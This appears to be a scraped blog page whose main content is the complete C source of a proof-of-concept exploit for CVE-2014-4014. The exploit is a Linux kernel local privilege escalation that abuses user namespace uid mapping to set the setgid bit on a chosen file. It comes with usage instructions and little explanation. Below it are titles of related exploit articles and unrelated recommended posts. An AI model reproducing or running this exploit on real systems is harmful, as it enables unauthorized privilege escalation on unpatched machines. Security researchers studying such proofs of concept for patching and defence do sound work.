/**
 * CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
 *
 * Vitaly Nikolenko
 * http://hashcrack.org
 *
 * Usage: ./poc [file_path]
 *
 * where file_path is the file on which you want to set the sgid bit
 */
#define _GNU_SOURCE
#include <sys/wait.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <limits.h>
#include <string.h>
#include <assert.h>
 
#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];
 
struct args {
    int pipe_fd[2];
    char *file_path;
};
 
static int child(void *arg) {
    struct args *f_args = (struct args *)arg;
    char c;
 
    // close stdout
    close(f_args->pipe_fd[1]);
 
    assert(read(f_args->pipe_fd[0], &c, 1) == 0);
 
    // set the setgid bit
    chmod(f_args->file_path, S_ISGID|S_IRUSR|S_IWUSR|S_IRGRP|S_IXGRP|S_IXUSR);
 
    return 0;
}
 
int main(int argc, char *argv[]) {
    int fd;
    pid_t pid;
    char mapping[1024];
    char map_file[PATH_MAX];
    struct args f_args;
 
    assert(argc == 2);
 
    f_args.file_path = argv[1];
    // create a pipe for synching the child and parent
    assert(pipe(f_args.pipe_fd) != -1);
 
    pid = clone(child, child_stack + STACK_SIZE, CLONE_NEWUSER | SIGCHLD, &f_args);
    assert(pid != -1);
 
    // get the current uid outside the namespace
    snprintf(mapping, 1024, "0 %d 1\n", getuid());
 
    // update uid and gid maps in the child
    snprintf(map_file, PATH_MAX, "/proc/%ld/uid_map", (long) pid);
    fd = open(map_file, O_RDWR); assert(fd != -1);
 
    assert(write(fd, mapping, strlen(mapping)) == strlen(mapping));
    close(f_args.pipe_fd[1]);
 
    assert (waitpid(pid, NULL, 0) != -1);
}

CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC的更多相关文章

  1. karottc A Simple linux-virus Analysis、Linux Kernel <= 2.6.37 - Local Privilege Escalation、CVE-2010-4258、CVE-2010-3849、CVE-2010-3850

    catalog . 程序功能概述 . 感染文件 . 前置知识 . 获取ROOT权限: Linux Kernel <= - Local Privilege Escalation 1. 程序功能概述 ...

  2. Linux Kernel 'MSR' Driver Local Privilege Escalation

    本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! // PoC exploit for /dev/cpu/*/msr, 32bit userland on a 64bit hos ...

  3. [转]Mac OS X local privilege escalation (IOBluetoothFamily)

    Source: http://joystick.artificialstudios.org/2014/10/mac-os-x-local-privilege-escalation.html Nowad ...

  4. [EXP]Microsoft Windows 10 (Build 17134) - Local Privilege Escalation (UAC Bypass)

    #include "stdafx.h" #include <Windows.h> #include "resource.h" void DropRe ...

  5. MS14-068 privilege escalation PoC: 可以让任何域内用户提升为域管理员

    https://github.com/bidord/pykek ms14-068.py Exploits MS14-680 vulnerability on an un-patched domain ...

  6. OSCP Learning Notes - Privilege Escalation

    Privilege Escalation Download the Basic-pentesting vitualmation from the following website: https:// ...

  7. ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728)

    ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728) By Perception Point Resear ...

  8. Linux Kernel KVM 'apic_get_tmcct()'函数拒绝服务漏洞

    漏洞版本: Linux Kernel 漏洞描述: Bugtraq ID:64270 CVE ID:CVE-2013-6367 Linux Kernel是一款开源的操作系统. Linux KVM LAP ...

  9. Linux Kernel本地权限提升漏洞

    漏洞版本: Linux Kernel 漏洞描述: Bugtraq ID:64291 CVE ID:CVE-2013-6368 Linux Kernel是一款开源的操作系统. 如果用户空间提供的vapi ...

随机推荐

  1. 【记录】Git pull(拉取),push(上传)命令整理(详细)

    前言:博主最近在学习git命令,因为git是一个非常好用的分布式版本管理工具,功能比svn强大,与SVN不同点是Git去中心化,每一个分支都是一个中心,并且支持本地仓库存储,像如今很多大公司都用git ...

  2. rsync 和 inotify 结合

    我们知道 rsync 可以实现推送和拉取,而 inotify-tools 借助内核的 inotify 机制实现了文件的 实时监控.因此,借助这个思路,我们可以通过使用 shell 脚本,调整 inot ...

  3. webpack webpack.config.js配置

    安装指定版本的webpack npm install webpack@3.6 -g 安装live-server    运行项目插件   输入live-server  运行后自动打开网页 npm ins ...

  4. OGG-01161

    Bad column index (35) specified for table user.table_name, max columns = 35. 原因:源端表结构发生了变更 解决办法:1.如果 ...

  5. [POI2007]POW-The Flood(并查集)

    [POI2007]POW-The Flood Description AKD 市处在一个四面环山的谷地里.最近一场大暴雨引发了洪水,AKD 市全被水淹没了.Blue Mary,AKD 市的市长,召集了 ...

  6. windows2008R2-AD域控组策略设置与其它相关设置

    防火墙设置 修改>计算机配置>策略>安全设置>高级安全windows防火墙>高级安全windows防火墙 修改入站规则 1.组名-文件和打印机共享(SMB-In)> ...

  7. 对http的研究

    HTTP 简介 HTTP协议(HyperText Transfer Protocol,超文本传输协议)是因特网上应用最为广泛的一种网络传输协议,所有的WWW文件都必须遵守这个标准. HTTP是一个基于 ...

  8. python的可视化展示(待更新)

    参考:https://www.cnblogs.com/zhizhan/p/5615947.html 通过matplotlib进行绘图: 例1: import matplotlib.pyplot as ...

  9. hibernate插入中文字段时,无法插入数据库

    体现: hibernate插入数据时,一直报错: Caused by: java.sql.SQLException: Incorrect string value: '\xE5\xBC\xA0\xE4 ...

  10. 【Java】Java调用第三方接口

    Get请求与Http请求 https://www.w3school.com.cn/tags/html_ref_httpmethods.asp HttpClient HTTP 协议可能是现在 Inter ...